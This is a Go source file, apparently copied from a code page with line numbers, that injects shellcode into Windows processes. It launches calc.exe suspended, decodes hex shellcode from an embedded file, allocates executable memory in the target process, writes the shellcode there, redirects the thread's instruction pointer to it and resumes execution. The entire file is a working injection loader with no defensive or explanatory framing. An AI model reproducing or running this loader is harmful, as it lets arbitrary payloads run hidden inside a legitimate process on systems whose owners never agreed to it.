1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218
| package main
import ( "bytes" "embed" "encoding/hex" "fmt" "golang.org/x/sys/windows" "log" "strings" "syscall" "unsafe" )
type M128A struct { Low uint64 High int64 }
type XMM_SAVE_AREA32 struct { ControlWord uint16 StatusWord uint16 TagWord uint8 Reserved1 uint8 ErrorOpcode uint16 ErrorOffset uint32 ErrorSelector uint16 Reserved2 uint16 DataOffset uint32 DataSelector uint16 Reserved3 uint16 MxCsr uint32 MxCsrMask uint32 FloatRegisters [8]M128A XmmRegisters [16]M128A Reserved4 [96]byte }
type CONTEXT struct { P1Home uint64 P2Home uint64 P3Home uint64 P4Home uint64 P5Home uint64 P6Home uint64 ContextFlags uint32 MxCsr uint32 SegCs uint16 SegDs uint16 SegEs uint16 SegFs uint16 SegGs uint16 SegSs uint16 EFlags uint32 Dr0 uint64 Dr1 uint64 Dr2 uint64 Dr3 uint64 Dr6 uint64 Dr7 uint64 Rax uint64 Rcx uint64 Rdx uint64 Rbx uint64 Rsp uint64 Rbp uint64 Rsi uint64 Rdi uint64 R8 uint64 R9 uint64 R10 uint64 R11 uint64 R12 uint64 R13 uint64 R14 uint64 R15 uint64 Rip uint64 Header [2]M128A Legacy [8]M128A XmmRegisters [16]M128A VectorRegister [26]M128A VectorControl uint64 DebugControl uint64 LastBranchToRip uint64 LastBranchFromRip uint64 LastExceptionToRip uint64 LastExceptionFromRip uint64 }
var ( kernel32 = windows.NewLazySystemDLL("kernel32.dll") virtualAllocEx = kernel32.NewProc("VirtualAllocEx") getThreadContext = kernel32.NewProc("GetThreadContext") setThreadContext = kernel32.NewProc("SetThreadContext") )
var file embed.FS
func main() { var startupInfo windows.StartupInfo var processInfo windows.ProcessInformation appname, _ := syscall.UTF16PtrFromString("calc.exe")
err := windows.CreateProcess( nil, appname, nil, nil, false, windows.CREATE_SUSPENDED|windows.CREATE_NEW_CONSOLE, nil, nil, &startupInfo, &processInfo, ) if err != nil { fmt.Printf("Failed to create process: %v\n", err) return } defer windows.CloseHandle(processInfo.Process) defer windows.CloseHandle(processInfo.Thread)
var ctx CONTEXT const CONTEXT_CONTROL = 0x1003F ctx.ContextFlags = CONTEXT_CONTROL call, _, err := getThreadContext.Call(uintptr(processInfo.Thread), uintptr(unsafe.Pointer(&ctx))) if call == 0 { log.Fatalf("fail to getThreadCountext:%v", err) } fmt.Printf("Rcx: 0x%X\n", ctx.Rcx) fmt.Printf("Rip: 0x%X\n", ctx.Rip)
b, err := file.ReadFile(`test/xxx.bin`) if err != nil { log.Fatalf("Read error: %v\n", err) } buf := string(b) shellcode, _ := hexStringToBytes(buf)
addr, _, allocErr := virtualAllocEx.Call( uintptr(processInfo.Process), uintptr(0), uintptr(len(shellcode)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_EXECUTE_READWRITE, ) if addr == 0 { fmt.Printf("Failed to allocate memory: %v\n", allocErr) return }
fmt.Printf("Allocated memory at address: 0x%X\n", addr)
var numberOfBytesWritten uintptr err = windows.WriteProcessMemory(processInfo.Process, addr, &shellcode[0], uintptr(len(shellcode)), &numberOfBytesWritten) if err != nil { log.Fatalf("写入内存发生错误:%v", err) }
ctx.Rip = uint64(addr) r1, _, err := setThreadContext.Call(uintptr(processInfo.Thread), uintptr(unsafe.Pointer(&ctx))) if r1 == 0 { log.Fatalf("设置进程上下文错误:%v", err) }
_, err = windows.ResumeThread(processInfo.Thread) if err != nil { log.Fatalf("恢复进程失败:%v", err) return } }
func ReadProcessMemory(p windows.Handle, baseAddr uintptr, size int) []byte { buffer := bytes.Buffer{} var flag bool var data []byte var bytesRead uintptr for { size -= 1024 if size > 0 { data = make([]byte, 1024) } else { data = make([]byte, 1024+size) flag = true }
err := windows.ReadProcessMemory(p, baseAddr, &data[0], uintptr(len(data)), &bytesRead) if err != nil { log.Fatalf("fail to readProcessMemory:%v", err) } buffer.Write(data) if flag { break } }
return buffer.Bytes() }
func hexStringToBytes(hexStr string) ([]byte, error) { cleanedStr := strings.ReplaceAll(hexStr, "\\x", "")
bytes, err := hex.DecodeString(cleanedStr) if err != nil { return nil, err } return bytes, nil }
|